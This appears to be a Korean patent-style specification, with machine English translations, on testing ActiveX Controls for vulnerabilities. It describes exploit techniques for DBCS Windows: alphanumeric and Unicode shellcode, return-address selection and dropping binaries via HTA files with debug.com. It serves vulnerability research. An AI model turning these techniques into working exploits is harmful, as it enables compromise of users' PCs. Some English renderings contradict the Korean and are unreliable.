테스트 모듈은 차이가 존재하는 COM들에 대해서 IDispatch나 IDispatchEx 인터페이스를 제공하는지 확인하는 역할을 수행한다. 테스트 모듈은 인터페이스 확인 작업을 수행하면서 COM들을 직접 호출하여 사용하기 때문에 COM의 오류로 인해 예기치 못한 종료가 발생할 수 있다. 따라서, 본 실시예에서는 이를 해결하기 위해 메인 모듈과 독립적으로 테스트 모듈을 실행한다. 독립적으로 실행되는 테스트 모듈이 비정상적으로 종료하더라도 메인 모듈이 이를 인지하고, 다른 테스트 모듈을 재실행하여 계속해서 작업을 수행하게 한다. The test module checks to see if there is an IDispatch or IDispatchEx interface for the COMs that differ. The test module calls COMs directly while performing interface verification, which can lead to unexpected termination due to COM errors. Therefore, in this embodiment, to solve this, the test module is executed independently of the main module. Even if a standalone test module terminates abnormally, the main module recognizes this and re-runs another test module to continue working.

정보 수집 단계Information gathering step

정보 수집은 ActiveX Control의 Method, Property, Event의 로직을 유추하기 위해서 수행한다. 내부 로직에 대한 정보를 많이 얻을수록 적절한 점검을 수행할 수 있기 때문이다. Information collection is performed to infer the logic of Method, Property, Event of ActiveX Control. The more information you have about your internal logic, the better you can perform the appropriate checks.

ActiveX Control에서 제공하는 Method, Property, Event들은 Type Library를 통해 식별할 수 있다. Type Library에는 Method, Property, Event의 이름, 인자 타 입, 리턴 타입 등의 정보가 존재한다. Microsoft사의 Platform SDK에서 제공하는 OLE/COM Object Viewer[Microsoft Corporation, “Windows Server 2003 SP1 Platform SDK Web Install”, http://www.microsoft.com/do wnloads/details.aspx?FamilyId= A55B6B43-E24F-4EA3-A93E-40C0EC4F68E5&displaylang=en.]를 이용하면 Type Library 정보를 쉽게 열람할 수 있다. 도 6은 OLE/COM Object Viewer를 이용하여 Type Library를 열람하는 예이다. Methods, properties, and events provided by ActiveX Control can be identified through Type Library. Type Library contains information such as method, property, event name, parameter type, and return type. OLE / COM Object Viewer provided by Microsoft's Platform SDK [Microsoft Corporation, “Windows Server 2003 SP1 Platform SDK Web Install”, http://www.microsoft.com/do wnloads / details.aspx? FamilyId = A55B6B43-E24F- 4EA3-A93E-40C0EC4F68E5 & displaylang = en.] Makes it easy to read the Type Library information. 6 illustrates an example of reading a type library using an OLE / COM Object Viewer.

Type Library 정보를 통해 Method, Property, Event들을 식별한 뒤 ActiveX Control을 실제로 사용하는 웹 페이지들을 분석함으로써 Method, Property, Event의 로직과 정상적인 매개변수 값들을 유추할 수 있다. 만약 ActiveX Control이 다른 제품의 일부분으로 사용하기 위해 개발된 경우에는 개발자 API도 외부로 공개된다. 개발자 API는 Method, Property, Event들에 대한 자세한 정보를 제공하므로 내부 로직을 유추하는데 많은 도움을 준다. After identifying Method, Property, and Event through Type Library information, we can infer logic of Method, Property, Event and normal parameter values by analyzing web pages that actually use ActiveX Control. If the ActiveX Control was developed for use as part of another product, the developer APIs are also exposed externally. The developer API provides detailed information about methods, properties, and events, which helps in inferring internal logic.

검사 단계Inspection steps

검사 단계에서는 ActiveX Control에 코딩상의 실수나 디자인상의 오류로 인한 취약점들이 존재하는지를 검사한다. ActiveX Control의 취약점을 검사하기 위해서는 웹 서버와 클라이언트가 필요하다. 클라이언트에는 ActiveX Control이 설치되고, 웹 서버에는 해당 ActiveX Control의 Method, Property, Event를 점검하기 위한 웹 페이지들을 올려둔다. 가령 버퍼오버플로우 취약점을 검사하기 위해서는 특정 Method에 대해 인자 값으로 매우 긴 문자열을 입력하는 웹 페이지를 작성하고, 파일 쓰기 취약점을 검사하기 위해서는 특정 Method에 인자 값으로 파일 경로명을 가지는 웹 페이지를 작성한다. 해당 Method, Property, Event에 대해서 어떤 취약점을 중점적으로 검사할지는 정보 수집 단계에서 수집한 정보들을 이용하여 결정한다. In the checking phase, ActiveX Control checks whether there are vulnerabilities due to coding mistakes or design errors. To check for vulnerabilities in ActiveX Control, a web server and client are required. ActiveX control is installed on client, and web page for checking method, property, event of relevant ActiveX control is placed on web server. For example, to check for buffer overflow vulnerability, write a web page that inputs a very long string as an argument value for a specific method. To check for file write vulnerabilities, create a web page with a file path name as an argument value for a specific method. . Determining which vulnerability to focus on the method, property, and event is determined by using the information collected at the information collection stage.

검사 웹 페이지들이 준비되면 클라이언트 시스템에서 모니터링 도구를 기동한 상태로 검사 웹 페이지에 접속한다. 웹 페이지에 접속한 뒤 일어나는 ActiveX Control의 행위를 모니터링함으로써 취약점 여부를 판단한다. 클라이언트 시스템에서 기동하는 모니터링 도구로는 FileMon[Mark Russinovich, Bryce Cogswell, “Filemon for Windows”, http://www. sysinternals.com/Utilities/Filemon.html.], RegMon[Mark Russinovich, Bryce Cogswell, “Regmon for Windows NT/9x”, http:// www.sysinternals.com/Utilities/Regmon.html.], Ethereal[Gerald Combs, “Ethereal”, http:// www.ethereal.com/.] 등이 있다. FileMon은 ActiveX Control이 시스템의 파일 자원을 접근하는지 모니터링 할 수 있고, RegMon은 ActiveX Control이 시스템의 레지스트리를 접근하는지 모니터링 할 수 있다. Ethereal은 ActiveX Control의 외부와의 네트워크 통신을 모니터링할 수 있다. 또한, ActiveX Control의 버퍼오버플로우 취약점을 찾기 위해서는 WinDbg[Microsoft Corporation, “WinDBG”, http://www.microsoft.com/.]와 같은 디버거를 사용한다. WinDbg에서 웹 브라우저를 실행하고 검사 웹 페이지를 방문하여 웹 브라우저에서 버퍼오버플로우가 일어나는지 관찰한다. When the test web pages are ready, access the test web page with the monitoring tool running on the client system. The vulnerability is determined by monitoring the behavior of ActiveX Control after accessing the web page. Monitoring tools that run on client systems include FileMon [Mark Russinovich, Bryce Cogswell, “Filemon for Windows”, http: // www. sysinternals.com/Utilities/Filemon.html.], RegMon [Mark Russinovich, Bryce Cogswell, “Regmon for Windows NT / 9x”, http: // www.sysinternals.com/Utilities/Regmon.html.], Ethereal [Gerald Combs, “Ethereal”, http: // www.ethereal.com/.]. FileMon can monitor whether an ActiveX control has access to the system's file resources, and RegMon can monitor whether an ActiveX control has access to the system's registry. Ethereal can monitor network communication with the outside of the ActiveX Control. In addition, a debugger such as WinDbg [Microsoft Corporation, “WinDBG”, http://www.microsoft.com/.] Is used to find the buffer overflow vulnerability of ActiveX Control. Run a web browser in WinDbg and visit the inspecting web page to observe whether a buffer overflow occurs in the web browser.

Reverse Engineering 단계Reverse Engineering Phase

Reverse Engineering은 일반적으로 정보 수집 단계를 통해서 유추할 수 있는 정보가 극히 미비하여 의미있는 Black Box Testing이 불가능한 경우에 사용한다. 가령 특정 ActiveX Control이 초기화 Method를 호출한 후에만 다른 Method, Property, Event를 사용할 수 있는 경우에, 정보 수집 단계에서 이를 알 수 없었다면, Reverse Engineering을 수행하지 않고 의미있는 검사를 수행할 수 없다. 정적 Reverse Engineering에는 IDA Pro[DataRescue, “IDA Pro”, http://www .datarescue.com/.]를 사용할 수 있고, 동적 Reverse Engineering에는 OllyDbg[Oleh Yuschuk, “OllyDbg”, http:// www.ollydbg.de/.]를 사용할 수 있다. Reverse engineering is generally used in cases where meaningful black box testing is not possible because the information that can be inferred through the information collection stage is extremely insignificant. For example, if a specific ActiveX Control can use other methods, properties, and events only after calling the initialization method, if it is not known at the information gathering stage, meaningful inspection cannot be performed without performing reverse engineering. You can use IDA Pro [DataRescue, “IDA Pro”, http://www.datarescue.com/.] For static reverse engineering, and OllyDbg [Oleh Yuschuk, “OllyDbg”, http: // www. ollydbg.de/.] can be used.

Reverse Engineering을 수행하기 위해서는 Method, Property, Event의 시작 주소가 필요하다. Matt Pietrek은 “Improve Your Debugging by Generating Symbols from COM Type Libraries”에서 in-process 서버이고 이중 인터페이스를 지원하는 경우 ActiveX Control의 Method, Property, Event의 시작 주소를 얻는 기법에 대해 기술하고 있다.[Matt Pietrek, “Improve Your Debug- ging by Generating Symbols from COM Type Libraries”, Microsoft Systems Journal, Mar 1999.]To perform reverse engineering, start address of method, property, event is needed. Matt Pietrek, in “Improve Your Debugging by Generating Symbols from COM Type Libraries,” describes a technique for obtaining the start address of a method, property, and event of an ActiveX control when it is an in-process server and supports dual interfaces. [Matt Pietrek , “Improve Your Debugging by Generating Symbols from COM Type Libraries”, Microsoft Systems Journal, Mar 1999.]

스크립트 언어에서는 IDispatch::Invoke 함수를 이용하여 ActiveX Control에서 제공하는 Method, Property, Event들을 호출할 수 있다. 하지만, IDispatch::Invoke 함수의 사용은 많은 오버헤드를 발생시키기 때문에 COM 인터페 이스에 직접 접근할 수 있는 언어로 작성된 응용프로그램에서 IDispatch::Invoke 함수를 통해 간접적으로 ActiveX Control의 Method, Property, Event들을 호출하는 것은 비효율적이다. 따라서, 많은 ActiveX Control에서는 IDispatch::Invoke 함수를 통하여 사용할 수 있는 모든 Method, Property, Event들을 가상 함수 테이블을 통해서도 직접 접근할 수 있도록 구현해 놓으며, 이를 이중 인터페이스라고 한다.[전병선, “Microsoft Visual C++ 6.0 ATL COM Programming”, 삼양출판사, Chapter 6, pp. 297-298, Feb 2001.]In scripting language, IDispatch :: Invoke function can be used to call methods, properties, and events provided by ActiveX Control. However, the use of IDispatch :: Invoke function incurs a lot of overhead, so in an application written in a language that can directly access the COM interface, the methods, properties, and events of the ActiveX control can be indirectly accessed through the IDispatch :: Invoke function. Calling is inefficient. Therefore, many ActiveX Controls implement all methods, properties, and events that can be used through the IDispatch :: Invoke function so that they can be accessed directly through the virtual function table. This is called a double interface. ATL COM Programming ”, Samyang Publisher, Chapter 6, pp. 297-298, Feb 2001.]

한편, 이중 인터페이스를 지원하는 경우 도 7과 같이 각 Method, Property 혹은 Event의 시작주소는 Invoke 함수 주소 아래에 존재한다. 따라서, 가상 함수 테이블의 시작에서부터 Method, Property 혹은 Event의 시작주소가 있는 위치까지의 Offset을 알면 각 Method, Property 혹은 Event의 시작주소를 알 수 있다. 이 정보는 ActiveX Control의 Type Library로부터 얻을 수 있다. ITypeLib::GetTypeInfo를 이용하여 ITypeInfo를 얻을 수 있고, ITypeInfo::GetFuncDesc를 이용하여 각 Method와 Property에 대한 정보를 담은 FUNCDESC를 얻을 수 있다. FUNCDESC에는 oVft 필드가 존재하는데, 이 필드가 가상 함수 테이블 주소에서 해당 Method, Property 혹은 Event의 시작주소가 있는 위치까지의 Offset이다. On the other hand, in case of supporting dual interface, as shown in FIG. 7, the start address of each method, property or event exists under the address of the invoke function. Therefore, if you know the offset from the start of the virtual function table to the location of the start address of the method, property or event, you can know the start address of each method, property or event. This information can be obtained from the ActiveX control's Type Library. ITypeInfo can be obtained using ITypeLib :: GetTypeInfo, and FUNCDESC containing information on each method and property can be obtained using ITypeInfo :: GetFuncDesc. There is an oVft field in FUNCDESC, which is an offset from the virtual function table address to the start address of the method, property or event.

이렇게 얻은 Method, Property 혹은 Event의 시작주소는 가상 주소이므로, 논리 주소로 변경할 필요가 있다. 가령 해당 ActiveX Control이 로드된 메모리 주소가 0x10000000이고, 특정 Method의 시작주소가 0x10002034라면 논리주소는 0x00002034(0x10002034 - 0x10000000)가 된다. 도 8은 Method, Property, Event의 시작주소를 찾기 위한 Pseudo code이다. Since the start address of the method, property, or event thus obtained is a virtual address, it must be changed to a logical address. For example, if the memory address where the ActiveX control is loaded is 0x10000000 and the start address of a specific method is 0x10002034, the logical address is 0x00002034 (0x10002034-0x10000000). 8 is a pseudo code for searching for a start address of a method, a property, and an event.

이어서, 취약점 검증 기법에 대해 설명한다. The following describes the vulnerability verification technique.

본 장에서는 발견한 취약점이 실제로 보안상 위협이 될 수 있는지 취약점 검증 코드를 작성하기 위한 기법들을 기술한다. ActiveX Control의 버퍼오버플로우 취약점은 일반 응용프로그램에서 사용하던 취약점 검증 방법을 사용할 수 없고, 국내외에 공개된 exploit code도 거의 존재하지 않는다. 특히 DBCS(Double Byte Character Set)를 사용하는 한글 윈도우즈에서는 타 언어 윈도우즈에서와는 달리 검증 코드를 작성하는데 많은 제약사항이 존재한다. 본 장에서는 타 분야에서 사용되는 기술들을 접목하여 ActiveX Control의 취약점 검증 코드를 작성하기 위한 방법을 기술한다. This chapter describes techniques for writing vulnerability verification code to see if the vulnerability found can actually be a security threat. The buffer overflow vulnerability of ActiveX Control cannot use the vulnerability verification method used in general applications, and there are almost no exploit codes published at home and abroad. In particular, Korean Windows using DBCS (Double Byte Character Set) has many limitations in writing verification code unlike other languages. This chapter describes how to write vulnerability verification code of ActiveX Control by integrating technologies used in other fields.

A. DBCS(Double Byte Character Set)A. Double Byte Character Set (DBCS)

DBCS는 한 바이트만으로 모든 문자들을 표현할 수 없는 언어에 대해 두 바이트를 이용해 문자를 표현하는 방식이다. 영어와 같이 한 바이트만으로 모든 문자가 표현되는 언어에서는 SBCS(Single Byte Character Set)를 사용한다. DBCS에서는 0x00에서 0x80까지는 SBCS와 동일하게 한 바이트만으로 문자를 표현하지만, 한 바이트가 0x81이상인 경우는 뒤따르는 바이트와 함께 두 개의 바이트가 하나의 문자를 표현한다. DBCS는 한국, 중국, 일본 등 일부 아시아 국가의 윈도우즈에서만 사 용되며, 대부분 나라들의 윈도우즈는 SBCS를 사용한다. DBCS uses two bytes to represent characters for languages that cannot represent all characters in one byte. Single language character set (SBCS) is used in languages where all characters are represented by only one byte like English. In DBCS, characters from 0x00 to 0x80 are represented by only one byte like SBCS, but when one byte is more than 0x81, two bytes represent one character together with the following byte. DBCS is used only in Windows in some Asian countries such as Korea, China, and Japan, and most countries use SBCS.

DBCS 사용으로 인해 국내 환경에서는 국외에서 공개되는 많은 ActiveX Control 취약점 검증 코드들이 동작하지 않는다. 특히 버퍼오버플로우 취약점과 프로세스 실행 취약점은 취약점 검증 과정에서 항상 DBCS 문제가 발생하지만, 관련연구가 미흡하여 DBCS 문제를 해결한 취약점 검증 코드가 아직 공개되지 않고 있다. 본 실시예에서는 타 분야에서 사용하는 기술들을 ActiveX Control 취약점 검증 코드 작성에 접목하여 DBCS 문제를 해결하였다. Due to the use of DBCS, many ActiveX Control vulnerability verification codes that are published in foreign countries do not work in domestic environment. In particular, buffer overflow vulnerabilities and process execution vulnerabilities always cause DBCS problems during the vulnerability verification process, but the vulnerability verification code that solves the DBCS problem has not been published yet due to insufficient research. This embodiment solves the DBCS problem by incorporating technologies used in other fields into ActiveX control vulnerability verification code.

B. 버퍼오버플로우 취약점B. Buffer Overflow Vulnerability

ActiveX Control의 취약점 검증 코드를 작성할 때 일반 응용프로그램과 다른 점은 쉘코드 부분과 리턴 어드레스 부분이다. 따라서 본 실시예에서는 ActiveX Control에 적합한 쉘코드 작성 기법을 제시한다. 또한, 웹 브라우저의 오브젝트 모델을 이용하여 리턴 어드레스를 다양화함으로써 신뢰성 높은 취약점 검증 코드를 작성할 수 있는 기법을 제시한다. When writing the vulnerability control code of ActiveX Control, the difference from general application is the shell code part and return address part. Therefore, this embodiment proposes a shellcode writing technique suitable for ActiveX Control. In addition, we propose a technique to write reliable vulnerability verification code by diversifying return address using object model of web browser.

B-1. 쉘 코드 작성 기법B-1. Shell Code Writing Techniques

모든 문자열은 ActiveX Control에 넘겨질 때 Unicode 형태로 전달된다. 하지만, 대부분의 경우 프로그래머는 DBCS 문자열 처리에 더 익숙하기 때문에 Unicode 문자열을 다시 DBCS 문자열로 변환하여 사용한다. 프로그래머는 WideCharToMulti Byte 함수를 이용하여 Unicode 문자열을 DBCS 문자열로 변환하는데, 0x81 이상의 바이트가 존재하면, 변환 후의 DBCS 문자열은 초기 DBCS 문자열과 달라진다. 도 9는 문자열 변환 과정의 예를 보여 준다. 초기 DBCS 문자열에서 0x01 ~ 0x80까지는 최종 DBCS 문자열에서도 동일하지만, 0x81, 0x82 등은 0x3F로 변환되고, 0xFE는 0xA9 0xAD의 두 바이트로 변환되는 것을 알 수 있다. 변환 결과는 운영체제의 언어와 WideCharToMulti Byte의 매개변수 값에 의해 달라질 수 있다. All strings are passed in Unicode when passed to the ActiveX Control. However, in most cases, programmers are more familiar with DBCS string handling, so they convert Unicode strings back to DBCS strings. The programmer converts a Unicode string to a DBCS string using the WideCharToMulti Byte function. If there are more than 0x81 bytes, the converted DBCS string is different from the initial DBCS string. 9 shows an example of a string conversion process. It can be seen that 0x01 to 0x80 in the initial DBCS string is the same in the final DBCS string, but 0x81 and 0x82 are converted to 0x3F, and 0xFE is converted to two bytes of 0xA9 0xAD. The conversion result can be changed by the language of the operating system and the parameter value of WideCharToMulti Byte.

버퍼오버플로우 취약점을 검증하기 위해 입력하는 문자열은 쉘코드를 포함하고 있기 때문에 ActiveX Control 내부에서 문자열이 변경된다면 취약점 검증이 불가능하다. 따라서, DBCS 문제를 해결하기 위해서는 0x01에서 0x80 사이의 바이트 값을 가진 opcode만을 이용하여 쉘코드를 작성해야 한다. Since the string entered to verify the buffer overflow vulnerability contains shellcode, it is impossible to verify the vulnerability if the string is changed inside the ActiveX Control. Therefore, to solve the DBCS problem, shellcode should be written using only opcodes with byte values between 0x01 and 0x80.

또한 최근에는 Alphanumeric 하지 않은 문자들에 대해서는 필터링을 수행하는 경우가 많아지고 있기 때문에 ActiveX Control의 취약점 검증 코드에서는 Alphanumeric 쉘코드를 사용하는 것이 바람직하다. Alphanumeric 쉘코드란 A-Z(0x41- 0x5A), a-z(0x61-0x7A), 0-9(0x30-0x39) 만을 이용하여 작성된 쉘코드를 가리킨다. 이런 형태의 쉘코드 작성 기법은 Riley “Caezar” Eller의 “Bypassing MSB Data Filters for Buffer Overflows”에서 처음 소개되었다.[Riley “Caezar” Eller, “Bypassing MSB Data Filters for Buffer Overflows”, http://community.core-sdi.com/~ju liano/bypass-msb.txt, Aug 2000.] Caezar의 문서에서는 출력 가능한 문자(0x21-0x7F)만을 이용하여 쉘코드를 작성하는 방법을 제안하였다. In addition, since the filtering of non-alphanumeric characters has been increasing recently, it is preferable to use Alphanumeric shellcode in vulnerability control code of ActiveX Control. Alphanumeric shellcode refers to shellcode written using only A-Z (0x41-0x5A), a-z (0x61-0x7A), and 0-9 (0x30-0x39). This form of shellcode writing was first introduced in Riley “Caezar” Eller's “Bypassing MSB Data Filters for Buffer Overflows”. [Riley “Caezar” Eller, “Bypassing MSB Data Filters for Buffer Overflows”, http: // community .core-sdi.com / ~ ju liano / bypass-msb.txt, Aug 2000.] Caezar's document proposes a method of writing shellcode using only printable characters (0x21-0x7F).

Caezar의 기법을 발전시켜 Shellcoder's Handbook에서는 Alphanumeric 쉘코 드를 작성하기 위한 Bridge Building 기법을 제안한다. Bridge Building이란 Alphanumeric 바이트 값을 가진 opcode만으로 쉘코드를 작성하는 기법을 말한다. 일반적으로 Alphanumeric 바이트 값을 가진 opcode만으로 다양한 일들을 수행할 수 있는 쉘코드를 작성하는 것은 어렵기 때문에 Alphanumeric 바이트 값을 가진 opcode로는 디코더를 작성하는 부분의 쉘코드를 작성한다. 즉, 먼저 원하는 기능을 수행하는 바이너리 쉘코드를 Alphanumeric 형태로 인코딩하고, 디코더 작성부만을 Alphanumeric 바이트 값을 가진 opcode만으로 작성한다. 디코더 작성부가 실행되면 “디코더가 쓰여지는 곳”에 디코더를 작성하고, 디코더는 인코딩된 쉘코드를 디코딩하여 원래의 바이너리 쉘코드로 복원한다. 디코더 수행이 끝나면 원하는 바이너리 쉘코드가 실행된다.[Jack Koziol, David Litchfield, Dave Aitel, Chris Anley, Sinan Eren, Neel Mehta, Riley Hassell, “Shellcoder's Handbook : discovering and exploiting security holes”, Wiley Publishing, Inc., Chapter 9, pp. 197-201, Feb 2003.] 도 10은 Alphanumeric 쉘코드 구조이다. Advancing Caezar's technique, Shellcoder's Handbook proposes a bridge building technique for writing alphanumeric shellcode. Bridge building refers to a technique for writing shellcode using only opcodes with alphanumeric byte values. In general, it is difficult to write shellcode that can do various things with only opcodes with Alphanumeric byte values, so write the shellcode for the decoder part with opcodes with Alphanumeric byte values. In other words, the binary shellcode that performs the desired function is encoded in Alphanumeric format, and only the decoder writing unit is written with an opcode having Alphanumeric byte values. When the decoder writing unit is executed, the decoder is created in the "where the decoder is written", and the decoder decodes the encoded shellcode and restores the original binary shellcode. When the decoder is done, the desired binary shellcode is executed. [Jack Koziol, David Litchfield, Dave Aitel, Chris Anley, Sinan Eren, Neel Mehta, Riley Hassell, "Shellcoder's Handbook: discovering and exploiting security holes", Wiley Publishing, Inc. , Chapter 9, pp. 197-201, Feb 2003.] FIG. 10 is an Alphanumeric shellcode structure.

Bridge Building 기법을 이용하여 쉘코드를 작성하면 쉘코드가 커지는 단점이 있지만, ActiveX Control에서는 쉘코드의 크기가 대부분 중요하지 않다. Although shellcode can be made larger by using the Bridge Building technique, the size of shellcode is not important in ActiveX Control.

지금까지는 ActiveX Control에 넘겨진 Unicode 문자열을 프로그래머가 DBCS 문자열로 다시 변환한다고 가정했다. 하지만, 일부 ActiveX Control에서는 ActiveX Control에 넘겨진 Unicode 문자열 상태에서 버퍼오버플로우가 발생할 수 있다. 이런 상황에서는 Unicode 문자열로 변환되었을 때 적절히 동작할 수 있는 쉘코드를 작성해야 한다. Chris Anley의 “Creating Arbitrary Shellcode In Unicode Expanded Strings”에서는 Unicode 쉘코드를 작성하기 위해 Venetian Method를 제안한다.[Chris Anley, “Creating Arbitrary Shell- code In Unicode Expanded Strings”, Jan 2002.] Venetian Method는 도 11에서처럼 원하는 쉘코드가 “0x41 0x42 0x43 0x44 0x45 0x46”일 때 이를 인코딩하여 문자열 “0x41 0x43 0x45 0x46 0x44 0x42”를 입력한다. 인코딩 문자열은 Unicode 변환을 거치면 “0x41 0x00 0x43 0x00 0x45 0x00 0x46 0x00 0x44 0x00 0x42 0x00”이 되고, 디코더에 의해 최종적으로 원하는 쉘코드인 “0x41 0x42 0x43 0x44 0x45 0x46”이 복원된다. 도 11은 Venetian Method를 이용한 Unicode 쉘코드이다. So far, it has been assumed that the programmer converts the Unicode string passed to the ActiveX Control back to a DBCS string. However, some ActiveX Controls can cause a buffer overflow in the state of Unicode strings passed to the ActiveX Control. In this situation, you need to write shellcode that will work properly when converted to a Unicode string. Chris Anley's “Creating Arbitrary Shellcode In Unicode Expanded Strings” proposes a Venetian Method for writing Unicode shellcode. [Chris Anley, “Creating Arbitrary Shell-code In Unicode Expanded Strings”, Jan 2002.] As in 11, when the desired shellcode is “0x41 0x42 0x43 0x44 0x45 0x46”, encode it and input the string “0x41 0x43 0x45 0x46 0x44 0x42”. The encoding string becomes “0x41 0x00 0x43 0x00 0x45 0x00 0x46 0x00 0x44 0x00 0x42 0x00” through Unicode conversion, and finally the desired shellcode “0x41 0x42 0x43 0x44 0x45 0x46” is restored. 11 is a Unicode shell code using the Venetian Method.

하지만, Chris Anley가 제안한 방법은 출력 가능한 문자들로만 이루어진 쉘코드는 아니다. Shellcoder's Handbook에서는 Venetian Method를 발전시켜 Unicode의 형태이면서 ASCII 문자, 숫자, 알파벳만을 이용하여 쉘코드를 작성하는 ASCII Venetian Method를 제안하였다.[Jack Koziol, David Litchfield, Dave Aitel, Chris Anley, Sinan Eren, Neel Mehta, Riley Hassell, “Shellcoder's Handbook : discovering and exploiting security holes”, Wiley Publishing, Inc., Chapter 9, pp. 201-213, Feb 2003.] ASCII Venetian Method 역시 디코더 작성부, 디코더가 쓰여지는 곳, 인코딩된 실제 쉘코드로 이루어진다. 디코더 작성부는 Unicode 바이트 값으로 이루어진 opcode만으로 Venetian Method를 수행하는 디코더를 작성한다. 디코더가 인코딩된 쉘코드를 다시 원래의 쉘코드로 변환하고, 실제 쉘코드가 실행된다. However, Chris Anley's proposed method is not just shellcode that consists of printable characters. Shellcoder's Handbook developed the Venetian Method and proposed the ASCII Venetian Method for writing shellcode using only Unicode characters, numbers, and alphabets. [Jack Koziol, David Litchfield, Dave Aitel, Chris Anley, Sinan Eren, Neel Mehta, Riley Hassell, “Shellcoder's Handbook: discovering and exploiting security holes”, Wiley Publishing, Inc., Chapter 9, pp. 201-213, Feb 2003.] The ASCII Venetian Method also consists of the decoder writing unit, where the decoder is written, and the actual encoded shellcode. Decoder generator creates a decoder that performs Venetian method only with opcode consisting of Unicode byte values. The decoder converts the encoded shellcode back to the original shellcode, and the actual shellcode is executed.

B-2. 검증 코드 신뢰도 향상 기법B-2. Verification Code Reliability Improvement Technique

버퍼오버플로우 취약점 검증 코드에서 return address는 운영체제 버전과 언어 등에 따라 달라지기 때문에 다양한 환경에서 신뢰성 높은 검증 코드를 작성하는 것이 쉽지 않다. 특히 ActiveX Control에서는 return address를 선택할 때도 DBCS 문제로 인해 0x01 ~ 0x80 사이의 바이트로 이루어진 return address를 선택해야 하기 때문에 return address 선택의 폭도 좁은 편이다. It is not easy to write reliable verification code in various environments because return address in buffer overflow vulnerability verification code varies depending on operating system version and language. In particular, ActiveX control has a narrow range of return address selection because it is necessary to select return address consisting of bytes between 0x01 and 0x80 due to DBCS problem.

하지만, Internet Explorer나 Netscape과 같은 웹브라우저에서는 navigator 오브젝트를 통해 검증 코드가 실행되는 PC의 웹 브라우저 종류와 버전, 운영체제 버전과 언어 등에 관한 정보를 확인할 수 있다. 웹 브라우저의 navigator 오브젝트를 이용하면 다양한 return address들 중 각 상황에 맞는 리턴 어드레스를 선택하여 사용하도록 취약점 검증 코드를 작성할 수 있어 취약점 검증 코드의 신뢰성을 높일 수 있다. However, in a web browser such as Internet Explorer or Netscape, the navigator object provides information about the web browser type and version, operating system version and language of the PC where the verification code is executed. By using the web browser's navigator object, the vulnerability verification code can be written to select and use the return address that is appropriate for each situation, thereby increasing the reliability of the vulnerability verification code.

C. 프로세스 실행 취약점C. Process Execution Vulnerability

프로세스 실행 취약점은 사용자 PC에 데모 프로그램 설치를 통해 취약점 검증을 수행한다. 프로세스 실행 취약점을 이용하여 사용자 PC에 데모 프로그램을 설치하기 위해서는 주로 HTA(HTml Application) 파일을 이용한다. HTA 파일은 HTML 파일과 유사하지만, 보안상의 제약을 받지 않는다는 특징이 있다. 따라서, 일반 HTML에서는 할 수 없는 텍스트 파일 생성이나 텍스트 파일 열람 등도 가능하다. HTA에서 바이너리 파일을 생성하기 위해 사용하는 방법은 Microsoft.XMLHTTP를 이 용해 원격에 있는 바이너리 파일을 읽어오고, ADODB.Stream를 이용해 바이너리 파일을 PC에 생성하는 방식이었다. 하지만, 보안패치 이후에는 이들을 사용할 수 없기 때문에, 최근 국외에서는 http-equiv에 의해서 제안된 방식을 사용한다.[http-equiv, http://www.malware.com]Process execution vulnerability performs vulnerability verification by installing demo program on user's PC. In order to install demo program on user's PC by using process execution vulnerability, HTA (HTml Application) file is mainly used. HTA files are similar to HTML files, but have the same security limitations. Therefore, it is possible to create a text file, browse a text file, and the like, which are not possible in normal HTML. The method used by HTA to create a binary file was to read a binary file remotely using Microsoft.XMLHTTP and create a binary file on a PC using ADODB.Stream. However, since they cannot be used after the security patch, the method recently proposed by http-equiv is used overseas. [Http-equiv, http://www.malware.com]

도 12는 http-equiv에 의해 제안된 바이너리 파일 생성 기법의 예이다. 스크립트 언어에서는 텍스트 파일만을 생성할 수 있지만, 도 12에서처럼 http-equiv는 텍스트 파일을 생성하는 객체인 Scripting.FileSystem Object를 사용하여 바이너리 파일을 생성하는 기법을 고안하였다. 이 방식은 SBCS를 사용하는 윈도우즈에서는 모든 문자가 한 바이트이기 때문에 잘 작동하지만, DBCS를 사용하는 윈도우즈에서는 동작하지 않는다. DBCS에는 Chr(256)과 같은 문자는 존재할 수가 없고, 적절하게 처리되지 않기 때문이다. 12 is an example of a binary file generation scheme proposed by http-equiv. In the scripting language, only a text file can be generated, but as shown in FIG. 12, http-equiv devised a technique for generating a binary file using Scripting.FileSystem Object, an object for generating a text file. This works well on Windows with SBCS because every character is one byte, but not on Windows with DBCS. This is because characters such as Chr (256) cannot exist in DBCS and are not handled properly.

따라서 DBCS에서도 잘 동작하는 취약점 검증 코드를 작성하기 위해서는 ByteRage가 제안한 기법을 사용해야 한다. ByteRage는 debug.com 프로그램을 이용해서 스크립트 언어에서 바이너리 파일을 생성하는 기법을 고안하였다.[ByteRage, http://byterage.hackaholic .org/index.php] 도 13은 ByteRage의 기법을 응용하여 hta 파일에서 바이너리 파일을 생성하는 스크립트 코드를 보여준다. 도 13은 ByteRage에 의해 제안된 바이너리 파일 생성 기법의 예이다. Therefore, in order to write vulnerability verification code that works well in DBCS, the technique proposed by ByteRage should be used. ByteRage devised a technique for generating binary files in scripting languages using the debug.com program. [ByteRage, http: //byterage.hackaholic .org / index.php] FIG. 13 shows a hta file using the technique of ByteRage. Shows the script code for creating a binary file. 13 is an example of a binary file generation technique proposed by ByteRage.

도 13에서는 sweetlie.txt라는 텍스트 파일을 생성하고, 이 텍스트 파일을 debug.com의 입력 파일로 사용하여 debug.com이 바이너리 파일을 생성하게 하고, 해당 파일을 실행한다. sweetlie.txt라는 텍스트 파일의 내용은 도 14와 같다. 도 14는 바이너리 파일 생성을 위한 debug.com 입력 파일 예이다. In FIG. 13, a text file called sweetlie.txt is generated, and this text file is used as an input file of debug.com so that debug.com generates a binary file and executes the file. The content of the text file called sweetlie.txt is shown in FIG. 14 is an example of a debug.com input file for generating a binary file.

debug.com 프로그램은 64K 바이트 이하의 파일만 저장할 수 있으므로, 취약점 검증을 위해 설치하는 프로그램 크기에 유의해야 한다. The debug.com program can only store files smaller than 64K bytes, so be careful about the size of the program you install to verify the vulnerability.

D. 파일 읽기 취약점D. File Reading Vulnerability

